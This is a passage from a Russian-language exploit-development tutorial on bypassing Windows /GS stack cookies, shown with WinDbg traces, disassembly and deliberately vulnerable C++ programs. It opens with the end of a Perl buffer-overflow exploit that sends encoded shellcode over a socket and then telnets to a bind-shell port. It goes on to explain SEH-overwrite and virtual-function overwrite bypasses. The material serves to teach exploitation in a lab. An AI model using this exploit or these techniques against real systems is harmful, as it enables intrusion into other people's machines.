"\x46\x4d\x4b\x4e\x50\x42\x46\x4c\x4d\x43\x4c\x4d\x42\x5a" .
"\x46\x58\x4e\x4b\x4e\x4b\x4e\x4b\x43\x58\x43\x42\x4b\x4e" .
"\x48\x33\x42\x36\x4b\x4f\x43\x45\x51\x54\x4b\x4f\x48\x56" .
"\x51\x4b\x46\x37\x50\x52\x50\x51\x50\x51\x50\x51\x43\x5a" .
"\x45\x51\x46\x31\x50\x51\x51\x45\x50\x51\x4b\x4f\x4e\x30" .
"\x43\x58\x4e\x4d\x49\x49\x44\x45\x48\x4e\x46\x33\x4b\x4f" .
"\x48\x56\x43\x5a\x4b\x4f\x4b\x4f\x50\x37\x4b\x4f\x4e\x30" .
"\x4c\x4b\x51\x47\x4b\x4c\x4b\x33\x49\x54\x42\x44\x4b\x4f" .
"\x48\x56\x51\x42\x4b\x4f\x48\x50\x43\x58\x4a\x50\x4c\x4a" .
"\x43\x34\x51\x4f\x50\x53\x4b\x4f\x4e\x36\x4b\x4f\x48\x50" .
"\x41\x41";

my $nops="\x90" x 10;

# initialize host and port
my $host = shift || 'forum.reverse4you.org';
my $port = shift || 200;

my $proto = getprotobyname('tcp');

# get the port address
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($port, $iaddr);

print "[+] Setting up socket\n";
# create the socket, connect to the port
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
print "[+] Connecting to $host on port $port\n";
connect(SOCKET, $paddr) or die "connect: $!";

print "[+] Sending payload\n";
print SOCKET $junk.$eipoverwrite.$nops.$shellcode."\n";

print "[+] Payload sent\n";
close SOCKET or die "close: $!";
system("telnet $host 5555\n");

Окей, эксплойт работает. Все просто и понятно, но эксплойт работает только потому, что нет защиты /GS.

Сейчас давайте попробуем сделать тоже самое, но теперь скомпилируем «vulnerable server» с параметром /GS:

Приложение умирает, но эксплойт не работает.

Снова откройте «vulnerable server» (с поддержкой GS) в отладчике, но перед тем как запустить его, установите брейкпойнт на security_check_cookie:

(b88.260): Break instruction exception - code 80000003 (first chance)
eax=00251eb4 ebx=7ffd7000 ecx=00000002 edx=00000004 esi=00251f48 edi=00251eb4 eip=7c90120e esp=0012fb20 ebp=0012fc94 iopl=0
nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
ntdll!DbgBreakPoint:
7c90120e cc int 3 

0:000> [B][COLOR="red"]bp vulnerable_server!__security_check_cookie[/COLOR][/B]
0:000> bl
0 e 004012dd 0001 (0001) 0:**** vulnerable_server!__security_check_cookie

Что именно происходит, когда буфер/стек подвергается переполнению? Давайте посмотрим на это. Отправте ровно 512 символов «A» нашему уязвимому серверу =)

use strict;
use Socket;
my $junk = "\x41" x 512;

# initialize host and port
my $host = shift || 'forum.reverse4you.org';
my $port = shift || 200;
my $proto = getprotobyname('tcp');

# get the port addressmy $iaddr = inet_aton($host);
my $paddr = sockaddr_in($port, $iaddr);
print "[+] Setting up socket\n";

# create the socket, connect to the portsocket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
print "[+] Connecting to $host on port $port\n";
connect(SOCKET, $paddr) or die "connect: $!";
print "[+] Sending payload\n";
print SOCKET $junk."\n";
print "[+] Payload sent\n";
close SOCKET or die "close: $!";

Вот то, что происходит в отладчике (с установленным брейкпойнтом на vulnerable_server!__security_check_cookie):

0:000> g
ModLoad: 71a50000 71a8f000 C:\WINDOWS\system32\mswsock.dll
ModLoad: 662b0000 66308000 C:\WINDOWS\system32\hnetcfg.dll
ModLoad: 77f10000 77f59000 C:\WINDOWS\system32\GDI32.dll
ModLoad: 7e410000 7e4a1000 C:\WINDOWS\system32\USER32.dll
ModLoad: 76390000 763ad000 C:\WINDOWS\system32\IMM32.DLL
ModLoad: 71a90000 71a98000 C:\WINDOWS\System32\wshtcpip.dll
[B][COLOR="red"]Breakpoint 0 hit [/COLOR][/B]
eax=0012e46e ebx=00000000 ecx=4153a31d edx=0012e400 esi=00000001 edi=00403384
eip=004012dd esp=0012e048 ebp=0012e25c iopl=0
nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
[B][COLOR="red"]vulnerable_server!__security_check_cookie:
004012dd 3b0d00304000 cmp ecx,dword ptr
[vulnerable_server!__security_cookie (00403000)] ds:0023:00403000=ef793df6[/COLOR][/B]

Тут показано, что проверочный код был добавлен, и что он выполняет проверку security cookie.

Security cookie находятся по адресу 0×00403000.

0:000> dd 0x00403000
00403000  [B][COLOR="red"]ef793df6[/COLOR][/B] 1086c209 ffffffff ffffffff
00403010  fffffffe 00000001 00000000 00000000
00403020  00000001 00342a00 00342980 00000000
00403030  00000000 00000000 00000000 00000000

Поскольку мы перезаписали часть стека (включая GS cookie), сравнение cookie дало сбой, и вызвало FastSystemCallRet.

Перезапустите «vulnerable server», затем снова запустите Perl-скрипт и еще раз посмотрите на cookie (чтобы убедиться, что она изменились):

(480.fb0): Break instruction exception - code 80000003 (first chance)
eax=00251eb4 ebx=7ffd9000 ecx=00000002 edx=00000004 esi=00251f48 edi=00251eb4
eip=7c90120e esp=0012fb20 ebp=0012fc94 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!DbgBreakPoint:
7c90120e cc              int     3
0:000> bp vulnerable_server!__security_check_cookie
0:000> bl
 0 e 004012dd     0001 (0001)  0:**** vulnerable_server!__security_check_cookie
0:000> g
ModLoad: 71a50000 71a8f000   C:\WINDOWS\system32\mswsock.dll
ModLoad: 662b0000 66308000   C:\WINDOWS\system32\hnetcfg.dll
ModLoad: 77f10000 77f59000   C:\WINDOWS\system32\GDI32.dll
ModLoad: 7e410000 7e4a1000   C:\WINDOWS\system32\USER32.dll
ModLoad: 76390000 763ad000   C:\WINDOWS\system32\IMM32.DLL
ModLoad: 71a90000 71a98000   C:\WINDOWS\System32\wshtcpip.dll
Breakpoint 0 hit
eax=0012e46e ebx=00000000 ecx=4153a31d edx=0012e400 esi=00000001 edi=00403384
eip=004012dd esp=0012e048 ebp=0012e25c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
vulnerable_server!__security_check_cookie:
004012dd 3b0d00304000    cmp     ecx,dword ptr [vulnerable_server!__security_cookie (00403000)] ds:0023:00403000=d0dd8743
0:000> dd 0x00403000
00403000  [B][COLOR="red"]d0dd8743[/COLOR][/B] 2f2278bc ffffffff ffffffff
00403010  fffffffe 00000001 00000000 00000000
00403020  00000001 00342a00 00342980 00000000
00403030  00000000 00000000 00000000 00000000

Как можно видеть, она отличается от прошлой cookie, что означает, что она не предсказуема. Собственно так обычно и обстоят дела, но если посмотреть на эксплойт для MS06-040, который использовал тот факт, что cookie были статическими, то будет ясно, что и это возможно – в теории))

В любом случае, если вы сейчас попытаетесь переполнить буфер, приложение умрет: ntdll!KiFastSystemCallRet

Установите брейкпойнт на функцию pr() и в пошаговом режиме пройдитесь по инструкциям, пока вы не увидите, что проверка cookie дала сбой, перед возвратом из функции (function returns).

Это должно дать вам достаточно информации о том, как параметр компилятора /GS изменяет код функции, чтобы защитить её от переполнения буфера.

Как было объяснено ранее, существует несколько методов, которые могут позволить вам попытаться обойти GS-защиту. Большинство из них полагаются на тот факт, что вы можете перехватить упраление обработчиком исключений и вызвать исключение до того, как будет осуществлена проверка cookie. Другие полагаются на то, что вы имеете возможность писать в аргументы… Какой бы из методов я не пробовал для нашего «vulnerable server», мне так и не удалось запустить шеллкод (неудавалось перезаписать обработчик исключений). Посему, параметр /GS, кажется, является довольно эффективной защитой, конкретно для нашего кода.

Демонстрация обхода cookie #1: Обработка исключений

Уязвимый код

Чтобы продемонстрировать, как могут быть обойдены cookie, будем использовать следующий простой C++ код (basicbof.cpp):

#include "stdafx.h"
#include "stdio.h"
#include "windows.h"

void GetInput(char* str, char* out)
{
	char buffer[500];
	try
	{
         strcpy(buffer,str);
	 strcpy(out,buffer);
         printf("Input received : %s\n",buffer);
	}
	catch (char * strErr)
	{
		printf("No valid input received ! \n");
		printf("Exception : %s\n",strErr);
	}
}

int main(int argc, char* argv[])
{
    char buf2[128];
    GetInput(argv[1],buf2);
    return 0;
}

Как можно видеть, функция GetInput содержит уязвимую strcpy, поскольку она не проверяет длину первого параметра. Кроме того, как только буфер будет заполнен (и возможно, поврежден) она снова используется (strcpy применяется для переменной «out») перед возвратом из функции. Но подождите – обработчик исключений функции должен предупредить пользователи в случае, если был введен зловредный ввод, не так ли? :slight_smile:

Скомпилируйте код без /GS и без RTC.

Запустите полученную программу и используйте 10-ти символьную стоку в качестве параметра:

basicbof.exe AAAAAAAAAA
Input received : AAAAAAAAAA

Хорошо, все работает, как и ожидалось. Теперь запустите приложение со строкой свшые 500-та байт, в качестве первого параметра.

Если бы мы заблаговременно не предвидели данную ситуацию и не вставили бы обработчик исключений в код функции GetInput, то приложение бы рухнуло и вызвало отладчик.

Будем использовать следующий простой Perl-скрипт для запуска приложения со строкой в 520 байт.

my $buffer="A" x 520;
system("\"C:\\Program Files\\Debugging Tools for Windows (x86)\\windbg\" basicbof.exe \"$buffer\"\r\n");

Выполните скрипт:

(908.470): Access violation - code c0000005 (!!! second chance !!!)
eax=0000021a ebx=00000000 ecx=7855215c edx=785bbb60 esi=00000001 edi=00403380
eip=41414141 esp=0012ff78 ebp=41414141 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
41414141 ??

=> прямая перезапись RET/EIP. Класическое переполнение буфера (BOF).

Если попытаетесь сделать тоже самое снова, используя исполняемый файл, который включает код обработчика исклчюений, приложение умрет. Если вы предпочитает запускать испольняемые файлы в WinDbg, то запустите WinDbg, откройте basicbof.exe, и добавьте 500+ символьную строку в качестве аргумента:

Теперь вы получите следующее:

(b5c.964): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012fd41 ebx=00000000 ecx=0012fd41 edx=00130000 esi=00000001 edi=004033a8
eip=004010cb esp=0012fcb4 ebp=0012feec iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
[B][COLOR="red"]basicbof!GetInput+0xcb:[/COLOR][/B]
004010cb 8802            mov     byte ptr [edx],al          ds:0023:00130000=41

На этот раз перезаписи EIP нет, но мы попали в обработчик исключений с нашим переполненным буфером.

0:000> !exchain
0012fee0: 41414141
Invalid exception stack at 41414141

Как работает SEH-обработчик и что происходит, когда он перезаписывается?

Прежде чем продолжить, в качестве небольшого упражнения (используя брейкпойнты и пошаговое исполнение инструкций) мы узнаем, где и почему обработчик исключений kicked in и что происходит, когда вы его перезаписываете.

Снова, откройте исполняемый файл (без GS, но который содержит код обработчика исключений) в WinDbg (с 520 символами A в качестве параметра). Перед запуском приложения, установите брейкпойнт на функцию GetInput.

0:000> [B]bp GetInput[/B]
0:000> bl
 0 e 00401000     0001 (0001)  0:**** basicbof!GetInput

Запустите приложение. Оно остановится в момент когда будет вызвана функция.

Breakpoint 0 hit
eax=0012fefc ebx=00000000 ecx=00342980 edx=003429f3 esi=00000001 edi=004033a8
eip=00401000 esp=0012fef0 ebp=0012ff7c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
basicbof!GetInput:
00401000 55              push    ebp

Если вы отобразите дизассемблерное представление функции GetInput, вы увидите следующее:

00401000   $ 55             PUSH EBP ;save current value of EBP (=> saved EIP)
00401001   . 8BEC           MOV EBP,ESP ;ebp is now top of stack (=> saved EBP)
00401003   . 6A FF          PUSH -1
00401005   . 68 A01A4000    PUSH basicbof.00401AA0 ;  SE handler installation
0040100A   . 64:A1 00000000 MOV EAX,DWORD PTR FS:[0]
00401010   . 50             PUSH EAX
00401011   . 64:8925 000000>MOV DWORD PTR FS:[0],ESP
00401018   . 51             PUSH ECX
00401019   . 81EC 1C020000  SUB ESP,21C  ;reserve space on the stack, 540 bytes
0040101F   . 53             PUSH EBX
00401020   . 56             PUSH ESI
00401021   . 57             PUSH EDI
00401022   . 8965 F0        MOV DWORD PTR SS:[EBP-10],ESP
00401025   . C745 FC 000000>MOV DWORD PTR SS:[EBP-4],0
0040102C   . 8B45 08        MOV EAX,DWORD PTR SS:[EBP+8]  ;start strcpy(buffer,str)
0040102F   . 8985 F0FDFFFF  MOV DWORD PTR SS:[EBP-210],EAX
00401035   . 8D8D F8FDFFFF  LEA ECX,DWORD PTR SS:[EBP-208]
0040103B   . 898D ECFDFFFF  MOV DWORD PTR SS:[EBP-214],ECX
00401041   . 8B95 ECFDFFFF  MOV EDX,DWORD PTR SS:[EBP-214]
00401047   . 8995 E8FDFFFF  MOV DWORD PTR SS:[EBP-218],EDX
0040104D   > 8B85 F0FDFFFF  MOV EAX,DWORD PTR SS:[EBP-210]
00401053   . 8A08           MOV CL,BYTE PTR DS:[EAX]
00401055   . 888D E7FDFFFF  MOV BYTE PTR SS:[EBP-219],CL
0040105B   . 8B95 ECFDFFFF  MOV EDX,DWORD PTR SS:[EBP-214]
00401061   . 8A85 E7FDFFFF  MOV AL,BYTE PTR SS:[EBP-219]
00401067   . 8802           MOV BYTE PTR DS:[EDX],AL
00401069   . 8B8D F0FDFFFF  MOV ECX,DWORD PTR SS:[EBP-210]
0040106F   . 83C1 01        ADD ECX,1
00401072   . 898D F0FDFFFF  MOV DWORD PTR SS:[EBP-210],ECX
00401078   . 8B95 ECFDFFFF  MOV EDX,DWORD PTR SS:[EBP-214]
0040107E   . 83C2 01        ADD EDX,1
00401081   . 8995 ECFDFFFF  MOV DWORD PTR SS:[EBP-214],EDX
00401087   . 80BD E7FDFFFF >CMP BYTE PTR SS:[EBP-219],0
0040108E   .^75 BD          JNZ SHORT basicbof.0040104D ;jmp to 0x0040104d,get next char
00401090   . 8D85 F8FDFFFF  LEA EAX,DWORD PTR SS:[EBP-208] ;start strcpy(out,buffer)
00401096   . 8985 E0FDFFFF  MOV DWORD PTR SS:[EBP-220],EAX
0040109C   . 8B4D 0C        MOV ECX,DWORD PTR SS:[EBP+C]
0040109F   . 898D DCFDFFFF  MOV DWORD PTR SS:[EBP-224],ECX
004010A5   . 8B95 DCFDFFFF  MOV EDX,DWORD PTR SS:[EBP-224]
004010AB   . 8995 D8FDFFFF  MOV DWORD PTR SS:[EBP-228],EDX
004010B1   > 8B85 E0FDFFFF  MOV EAX,DWORD PTR SS:[EBP-220]
004010B7   . 8A08           MOV CL,BYTE PTR DS:[EAX]
004010B9   . 888D D7FDFFFF  MOV BYTE PTR SS:[EBP-229],CL
004010BF   . 8B95 DCFDFFFF  MOV EDX,DWORD PTR SS:[EBP-224]
004010C5   . 8A85 D7FDFFFF  MOV AL,BYTE PTR SS:[EBP-229]
004010CB   . 8802           MOV BYTE PTR DS:[EDX],AL
004010CD   . 8B8D E0FDFFFF  MOV ECX,DWORD PTR SS:[EBP-220]
004010D3   . 83C1 01        ADD ECX,1
004010D6   . 898D E0FDFFFF  MOV DWORD PTR SS:[EBP-220],ECX
004010DC   . 8B95 DCFDFFFF  MOV EDX,DWORD PTR SS:[EBP-224]
004010E2   . 83C2 01        ADD EDX,1
004010E5   . 8995 DCFDFFFF  MOV DWORD PTR SS:[EBP-224],EDX
004010EB   . 80BD D7FDFFFF >CMP BYTE PTR SS:[EBP-229],0
004010F2   .^75 BD          JNZ SHORT basicbof.004010B1;jmp to 0x00401090,get next char
004010F4   . 8D85 F8FDFFFF  LEA EAX,DWORD PTR SS:[EBP-208]
004010FA   . 50             PUSH EAX                   ; /<%s>
004010FB   . 68 FC204000    PUSH basicbof.004020FC     ; |format = "Input received : %s
"
00401100   . FF15 A8204000  CALL DWORD PTR DS:[<&MSVCR90.printf>]   \printf
00401106   . 83C4 08        ADD ESP,8
00401109   . EB 30          JMP SHORT basicbof.0040113B
0040110B   . 68 14214000    PUSH basicbof.00402114     ; /format = "No valid input received !
"
00401110   . FF15 A8204000  CALL DWORD PTR DS:[<&MSVCR90.printf>]  ; \printf
00401116   . 83C4 04        ADD ESP,4
00401119   . 8B8D F4FDFFFF  MOV ECX,DWORD PTR SS:[EBP-20C]
0040111F   . 51             PUSH ECX                   ; /<%s>
00401120   . 68 30214000    PUSH basicbof.00402130     ; |format = "Exception : %s
"
00401125   . FF15 A8204000  CALL DWORD PTR DS:[<&MSVCR90.printf>]    ; \printf
0040112B   . 83C4 08        ADD ESP,8
0040112E   . C745 FC FFFFFF>MOV DWORD PTR SS:[EBP-4],-1
00401135   . B8 42114000    MOV EAX,basicbof.00401142
0040113A   . C3             RETN

В начале пролога функции GetInput(), аргумент функции (нашего буфера «str») сохраняется по адресу 0x003429f3 (EDX):

0:000> d edx
003429f3  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00342a03  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

Указатель на этот аргумент помещается в стек, по адресу 0x0012fef4 (таким образом, по адресу 0x0012fef4, хранится адресс 0x003429f3).

Указатель стека (ESP) указывает на 0x0012fef0, а EBP указывает на 0x0012ff7c. Сейчас два эти адреса формируют новый стековый фрейм функции. The memory location ESP points to currently contains 0×00401179 (которое является адресом возврата, обратно из функции main, сразу после вызова GetInput()).

[B][COLOR="red"]basicbof!main[/COLOR][/B]
00401160 55              push    ebp
00401161 8bec            mov     ebp,esp
00401163 81ec80000000    sub     esp,80h
00401169 8d4580          lea     eax,[ebp-80h]
0040116c 50              push    eax
0040116d 8b4d0c          mov     ecx,dword ptr [ebp+0Ch]  ;pointer to argument
00401170 8b5104          mov     edx,dword ptr [ecx+4]    ;pointer to argument
00401173 52              push    edx  ; buffer argument
00401174 e887feffff      call    basicbof!GetInput (00401000) ; GetInput()
00401179 83c408          add     esp,8  [B][COLOR="red"];normally GetInput returns here[/COLOR][/B]
0040117c 33c0            xor     eax,eax0040117e 8be5            mov     esp,ebp
00401180 5d              pop     ebp
00401181 c3              ret

В любом случае, давайте вернемся к дизассембрелному листингу функции GetInput, который приводился выше. После того, как указатели на аргументы, были помещены в стек, в прологе функции, в стеке сохраняется EBP. Далее, ESP помещается в EBP, чтобы EBP указывал на вершину стека. Так что, посути, новый стековый фрейм создается в «текущей» позиции ESP, в момент вызова функции. После сохранения EBP, ESP указывает на адрес 0x0012feec (который содержит адрес 0c0012ff7c). После того, как все даные были помещены в стек, EBP будет указывать на тоже самое место (но теперь EBP становится (и продолжает оставаться) нижней частью стека).

Затем устанавливается SEH-обработчик. Сначала в стек помещаетя FFFFFFFF (для указания конца SEH-цепочки).

00401003   . 6A FF          PUSH -1
00401005   . 68 A01A4000    PUSH basicbof.00401AA0

Далее, в стек помещаются SEH-обработчик и nSEH (next SEH):

0040100A   . 64:A1 00000000 MOV EAX,DWORD PTR FS:[0]
00401010   . 50             PUSH EAX
00401011   . 64:8925 000000>MOV DWORD PTR FS:[0],ESP

После чего стек выглядит следующим образом:

 ^  stack grows up towards top of stack while address of ESP goes down
 | 0012FECC   785438C5   MSVCR90.785438C5
 | 0012FED0   0012FEE8
 | 0012FED4   7855C40C   MSVCR90.7855C40C
 | 0012FED8   00152150
 | 0012FEDC   0012FEF8   <- ESP points here after pushing next SEH
 | 0012FEE0   0012FFB0   Pointer to next SEH record
 | 0012FEE4   00401AA0   SE handler
 | 0012FEE8   FFFFFFFF    ; end of SEH chain
 | 0012FEEC   0012FF7C    ; saved EBP
 | 0012FEF0   00401179    ; saved EIP
 | 0012FEF4   003429F3    ; pointer to buffer ASCII "AAAAAAAAAAAAAAAAAAAAA…"

Перед тем, как будет вызвана первая strcpy, в стеке резервируется некоторые место.

00401019 . 81EC 1C020000  SUB ESP,21C  ;540 bytes, which is 500 (buffer) + additional space

После этой инструкции, ESP будет указываеть на 0x0012fcc0 (что равно 0x0012fedc – 21c), EBP продолжает указываеть на 0x0012feec (вершину стека). Далее, в стек помещаются EBX, ESI и EDI (теперь ESP = ESP – C (3 x 4 = 12 байт)), после чего ESP будет указывать на 0x0012FCB4.

Затем, по адресу 0x0040102c, вызывается первая strcpy (ESP продолжает указывать на 0012fcb4). Каждый симвло А берется из буфера, в котором он находится, и помещается в стек (последовательно, в цикле расположенном с адреса 0x0040104d по 0x0040108e).

Этот процесс продолжается до тех пор, пока не будут записаны все 520 байт (длина аргумента командной строки).

Первые четыре символа A будут записанны по адресу 0012fce4. Если к этому адресу вы добавите 208h (520 байт) – 04h (4 байта которые уже находятся по адресу 0012fce4), то вы вычислите конечный адрес (0012fee8), который достигнет и перезапишет SEH-структуру. В данной точке, никакого вреда мы еще не причинили.

Пока все идет хорошо. Никакое исключение еще небыло вызвано (так как еще ничего небыло сделано с буфером, и мы не пытались никуда писать, чтобы вызвать немедленное исключение).

Затем вызывается вторая strcpy (strcpy(out,buffer)). Похожая процедура (с циклом для копирования строки символов А), сейчас символы А записаваются в стек начиная с адреса 0x0012fefc. EBP (указывает на нижнюю часть стека) продолжает указывать на 0x0012feec, так что сейчас мы будем писать за пределами нижней части стека.

Переменная «out» может принять всего лишь 128 байт (она изначально установлена в функции main() и затем переда не инициализированной функции GetInput() – это пахнет бедой :slight_smile: ), поэтому переполнение, вероятно, произойдет намного быстрее. Буффер содержит намного больше байт, чем переменная «out» может принять, так что переполнение, возможно, перезапишет область, которая не принадлежит функции, и на этот раз это будет намного больнее. Если это вызовет исключение, то мы будем контролировать поток исполнения комманд (как вы помните, мы уже перезаписали SEH-обработчик).

После того, как в стек было помещено 128 символов А, он выглядит следующим образом:

Так как запись продолажется, то мы начинаем писать по более высоким адресам (в конечном счете, перезаписываем даже стек функции main(), её локальный переменные, переменные среды, argv, etc. Вобщем все, что встречается на пути к нижней части стека).

До тех пор, пока мы наконец не попробуем записать что-то по адресу, к которому у нас нет доступа.

Что в итоге приведет к нарушению доступа. Сейчас SEH-цепочка выглядит следующим образом:

Если сейчас будет сгенерировано исключение, то произойдет попытка обращения к этому SEH-обработчику.

SEH-структура была перезаписана с помощью первой функции strcpy, а вторая функция вызвала исключение, до того как функция смогла вернуть управление (return). Такая комбинация обоих вызовов функций должна позволить нам использовать эту уязвимость, поскльку здесь не происходит проверка cookie.

Использование SEH для обхода GS-защиты

Еще раз скомпилируйте наш код (c параметром /GS) и попытайтесь снова осуществить переполнение:

Код с обработчиком исключений:

(aa0.f48): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012fd41 ebx=00000000 ecx=0012fd41 edx=00130000 esi=00000001 edi=004033a4
eip=004010d8 esp=0012fca0 ebp=0012fee4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
basicbof!GetInput+0xd8:
004010d8 8802            mov     byte ptr [edx],al          ds:0023:00130000=41
0:000> uf GetInput
basicbof!GetInput [basicbof\basicbof.cpp @ 6]:
    6 00401000 55              push    ebp
    6 00401001 8bec            mov     ebp,esp
    6 00401003 6aff            push    0FFFFFFFFh
    6 00401005 68d01a4000      push    offset basicbof!_CxxFrameHandler3+0xc (00401ad0)
    6 0040100a 64a100000000    mov     eax,dword ptr fs:[00000000h]
    6 00401010 50              push    eax
    6 00401011 51              push    ecx
    6 00401012 81ec24020000    sub     esp,224h
    6 00401018 a118304000      mov     eax,dword ptr [B][COLOR="red"][basicbof!__security_cookie (00403018)][/COLOR][/B]
    6 0040101d 33c5            xor     eax,ebp
    6 0040101f 8945ec          mov     dword ptr [ebp-14h],eax
    6 00401022 53              push    ebx
    6 00401023 56              push    esi
    6 00401024 57              push    edi
    6 00401025 50              push    eax
    6 00401026 8d45f4          lea     eax,[ebp-0Ch]
    6 00401029 64a300000000    mov     dword ptr fs:[00000000h],eax
    6 0040102f 8965f0          mov     dword ptr [ebp-10h],esp
    9 00401032 c745fc00000000  mov     dword ptr [ebp-4],0
   10 00401039 8b4508          mov     eax,dword ptr [ebp+8]
   10 0040103c 8985e8fdffff    mov     dword ptr [ebp-218h],eax
   10 00401042 8d8df0fdffff    lea     ecx,[ebp-210h]
   10 00401048 898de4fdffff    mov     dword ptr [ebp-21Ch],ecx
   10 0040104e 8b95e4fdffff    mov     edx,dword ptr [ebp-21Ch]
   10 00401054 8995e0fdffff    mov     dword ptr [ebp-220h],edx

Приложение сново умерло. Исходя из дизассемблерного листинга, можно ясно видеть, что security cookie были помещены в стек, в эпилоге функции GetInput. Поэтому, классическое переполнение буфера (через прямую перезапись RET) работать не будет… Однако, во время переполнения буфера, мы так же перезаписываем обработчик исключений (как вы помните, первая функция strcpy, перезаписывает SEH-обработчик… В нашем примере, SEH-обработчик был перезаписан только двумя байтами, так что нам, вероятно, нужно на два байта больше данных, чтобы перезаписать его адрес полностью):

0:000> !exchain
0012fed8: basicbof!_CxxFrameHandler3+c (00401ad0)
Invalid exception stack at [B][COLOR="red"]00004141[/COLOR][/B]

Это означает, что мы «возможно» сможем обойти GS-защиту, используя для этого обработчик исключений.

Теперь, если вы снова удалите (leave out) код обработчика исключений (в функции GetInput), и скормите приложению тоже колличество символов, то мы получим следующее:

0:000> g
(216c.2ce0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012fd41 ebx=00000000 ecx=0012fd41 edx=00130000 esi=00000001 edi=0040337c
eip=004010b2 esp=0012fcc4 ebp=0012fee4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
basicbof!GetInput+0xb2:
004010b2 8802            mov     byte ptr [edx],al          ds:0023:00130000=41
0:000> !exchain
0012ffb0: 41414141
Invalid exception stack at 41414141

Это происходит, при тойже самой длине агрумента, но без дополнительного обработчика исключений. Исходя из этого, мы можем заключить, что на этот раз нам не нужно будет много байт для того, чтобы перезаписать SEH-структуру. Похоже на то, что мы вызвали исключение до того, как cookie могли быть проверены. Как объяснялось ранее, данное поведение является следствием вызова второй функции strcpy в GetInput().

Чтобы доказать мою точку зрения, удалите вторую фукнцию strcpy (таким образом, у нас останется только одна strcpy и никакого обработчика исключений в приложении). То, что произойдет показано ниже:

0:000> g
eax=000036c0 ebx=00000000 ecx=000036c0 edx=7c90e514 esi=00000001 edi=0040337c
eip=7c90e514 esp=0012f984 ebp=0012f994 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000286
[B][COLOR="red"]ntdll!KiFastSystemCallRet:
7c90e514 c3              ret[/COLOR][/B]

=> Защита cookie снвоа работает.

Итак, вывод: cookie можно обойти, если уязвимая функция, тем или инным образом, вызовет исключение ПЕРЕД ТЕМ, как cookie будут проверены в эпилоге функции, например, исключение, может быть вызвано, когда функция продолжает использовать поврежденный буфер далее в своем теле.

ПРИМЕЧАНИЕ: При эксплуатации уязвимости, в данном конкретном приложении, вам, вероятно, так же придется иметь дело с SafeSEH… В любом случае, защита cookie была обойдена… =)

Демонстрация обхода cookie #2: Вызов виртуальной функции

Чтобы продемонстировать эту технику, я буду использовать кусок кода (немного измененный, чтобы его можно было скопилировать в VS 2008), который был найден в статье Алекса Соритова и Марка Доуда из конференции BalckHat 2008:

// gsvtable.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include "windows.h"
class Foo {
  public:
  void __declspec(noinline) gs3(char* src)
  {
   char buf[8];
   strcpy(buf, src);
   bar(); // virtual function call
  }
   virtual void __declspec(noinline) bar()
   {
   }
 };
int main()
{
  Foo foo;
  foo.gs3(
  "AAAA"
  "BBBB"
  "CCCC"
  "DDDD"
  "EEEE"
  "FFFF"
 return 0;
}

Переменная foo объекта Foo обявляется в функции main(). Место под эту пременную так же выделяется в стеке функции main(). После чего, вызывается функция foo.gs3(), которая содержит уязвимую функцию strcpy, которая копирует строку (переданную в качестве аргумента) в буффер, который состоит всего лишь из 8 байт. Таким образом, если строка будет длиннее 8 байт, произойдет переполенние буфера.

После вызова strcpy(), будет выполнена виртуальная функция bar(). Поскольку переполнение происходит раньше, указатель на vtable, находящийся в стеке, может быть перезаписан и поток исполнения может быть перенаправлен на ваш шеллкод.

После копиляции кода с параметром /GS, функция gs3 будет выглядеть следующим образом:

0:000> uf Foo::gs3
gsvtable!Foo::gs3
   10 00401000 55              push    ebp
   10 00401001 8bec            mov     ebp,esp
   10 00401003 83ec20          sub     esp,20h
   10 00401006 a118304000      mov     eax,dword ptr [B][COLOR="red"][gsvtable!__security_cookie (00403018)][/COLOR][/B]
   10 0040100b 33c5            xor     eax,ebp
   10 0040100d 8945fc          mov     dword ptr [ebp-4],eax
   10 00401010 894df0          mov     dword ptr [ebp-10h],ecx
   12 00401013 8b4508          mov     eax,dword ptr [ebp+8]
   12 00401016 8945ec          mov     dword ptr [ebp-14h],eax
   12 00401019 8d4df4          lea     ecx,[ebp-0Ch]
   12 0040101c 894de8          mov     dword ptr [ebp-18h],ecx
   12 0040101f 8b55e8          mov     edx,dword ptr [ebp-18h]
   12 00401022 8955e4          mov     dword ptr [ebp-1Ch],edx

gsvtable!Foo::gs3+0x25
   12 00401025 8b45ec          mov     eax,dword ptr [ebp-14h]
   12 00401028 8a08            mov     cl,byte ptr [eax]
   12 0040102a 884de3          mov     byte ptr [ebp-1Dh],cl
   12 0040102d 8b55e8          mov     edx,dword ptr [ebp-18h]
   12 00401030 8a45e3          mov     al,byte ptr [ebp-1Dh]
   12 00401033 8802            mov     byte ptr [edx],al
   12 00401035 8b4dec          mov     ecx,dword ptr [ebp-14h]
   12 00401038 83c101          add     ecx,1
   12 0040103b 894dec          mov     dword ptr [ebp-14h],ecx
